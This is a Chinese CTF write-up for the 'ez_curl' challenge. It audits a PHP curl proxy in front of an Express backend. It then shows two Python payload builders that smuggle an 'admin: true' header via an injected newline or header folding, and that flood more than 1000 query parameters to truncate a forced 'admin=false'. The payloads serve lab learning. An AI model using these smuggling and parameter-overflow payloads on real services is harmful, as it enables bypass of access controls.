【攻防世界】ez_curl

打开题目发现是一串代码,应该需要代码审计

 题目中还有附件app.js,是一个简单的基于 Node.js 和 Express 框架的服务器程序,它的主要功能是根据客户端请求的参数和头部信息来判断是否返回一个名为 flag 的值。

其中最重要的应该就是返回flag的逻辑:

  • req.query.admin.includes('false'):检查请求的查询参数(URL 中的 ?admin=...)是否包含字符串 'false'
  • req.headers.admin.includes('true'):检查请求的头部信息中 admin 字段是否包含字符串 'true'
  • 如果两个条件同时满足(即查询参数中不包含 'false',并且头部信息中包含 'true'),则返回环境变量中的 flag 值。
  • 如果不满足条件,则返回字符串 'try hard'

app.js:

const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

然后回过头来看前端显示的代码,这段 PHP 代码与之前分析的app.js代码是配套的,它们共同构成了一个 Web 应用的前后端交互。PHP 代码的作用是接收前端传入的请求数据,处理这些数据后,向后端服务(Node.js 代码)发起请求,并返回后端服务的响应结果。

<?php
highlight_file(__FILE__);    //在前端显示当前文件内容
$url = 'http://back-end:3000/flag?';  //定义后端服务地址
$input = file_get_contents('php://input');  //接收前端请求数据
$headers = (array)json_decode($input)->headers;  //解析请求内容,将前端发送的 JSON 数据解析为 PHP 数组。存储请求头部信息

/*
  • 遍历 $headers 数组,逐行解析头部信息
  • 使用 stripos 查找冒号 : 的位置,将头部信息拆分为键($key)和值($value)。
  • 如果头部信息中包含键为 admin(不区分大小写)且值为 true(不区分大小写),则终止脚本并返回 'try hard'
*/
for($i = 0; $i < count($headers); $i++){     $offset = stripos($headers[$i], ':'); $key = substr($headers[$i], 0, $offset);   $value = substr($headers[$i], $offset + 1); if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){ die('try hard'); } } $params = (array)json_decode($input)->params;  //解析请求内容,将前端发送的 JSON 数据解析为 PHP 数组。存储请求的查询参数 $url .= http_build_query($params);        //使用 http_build_query$params 数组转换为查询字符串,并将其附加到 $url
$url .= '&admin=false';              //在 URL 的查询参数中强制添加 admin=false,确保后端服务不会返回 flag
$ch = curl_init();              //发送请求到后端
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

代码功能总结

这段 PHP 代码的作用是:
  1. 接收前端发送的请求数据(包括头部信息和查询参数)。
  2. 检查请求头部信息,如果发现 admin: true,则直接返回 'try hard'
  3. 构建请求 URL,并在查询参数中强制添加 admin=false
  4. 使用 cURL 向后端服务发起请求,并返回后端服务的响应结果。

与 app.js 代码的关系

  • 前端请求:前端发送一个包含头部信息和查询参数的请求到 PHP 代码。
  • PHP 中间层:
    • PHP 代码接收请求,解析请求数据
    • 检查头部信息,确保不会直接传递 admin: true
    • 构建新的请求 URL,并在查询参数中添加 admin=false
    • 将请求转发到后端服务(Node.js/Express 代码)
  • 后端服务(Node.js/Express):
    • 接收 PHP 中间层转发的请求。
    • 检查查询参数和头部信息:
      • 如果查询参数中不包含 false,并且头部信息中包含 true,则返回 flag
      • 否则返回 'try hard'

这么看来,我们似乎陷入了一个僵局:

我们构造的url的admin字段需要包含“true”且不包含false才能返回flag;

然而在前端有 admin:true 就会die,就算躲过一劫,在发给后端前还会在参数中加个admin=false。

但是,在NodeJS中有以下知识点:

express的parameterLimit默认为1000,即当参数个数大于1000时,后面的参数将被截断。

因此,当我们给params赋值的成员个数大于1000时,$url中参数的个数将大于1000,因此1000以后的参数将失效,即可让$urladmin=false被挤掉。

而对于 true 判断的绕过,我们有以下两种常见的方法:

第一种

{"headers": ["xx:xx\nadmin: true"]}

我们可以看到admintrue字符串都在第一个冒号后面,因此可以绕过PHP代码的检测,而在NodeJS解析时,会解析得到admin的字段为true.

构造body

python代码如下:

import json

datas = {"headers": ["xx:xx\nadmin: true"],        
    "params": {"admin": "true"}}

for i in range(1020):
    datas["params"]["x" + str(i)] = i

json1 = json.dumps(datas)
print(json1)

将运行得到的body使用POST方法进行传参,即可得到flag

 

第二种

{"headers": ["admin: x", " true: y"]}

由于adminture出现在数组的两个元素中,因此可以绕过PHP文件的判断。在正常解析过程中,在键名中是不允许存在空格的,但NodeJS在遇到这类情况时是宽容的,会将其解析成

{"admin": "x true y"}

即NodeJS会将分隔符直接去掉。

构造body

import json

datas= {"headers": ["admin:a"," true:a", "Content-Type: application/json"],
        "params": {"admin": "true"}}

for i in range(1020):
    datas["params"]["x" + str(i)] = i

json1 = json.dumps(datas)   
print(json1)

 

同理,抓包发送

CatCTF{23aaaab824aadf15eb19f4236f3e3b51}

 

posted @ 2025-04-30 21:38  Antoniiiia  阅读(180)  评论(0)    收藏  举报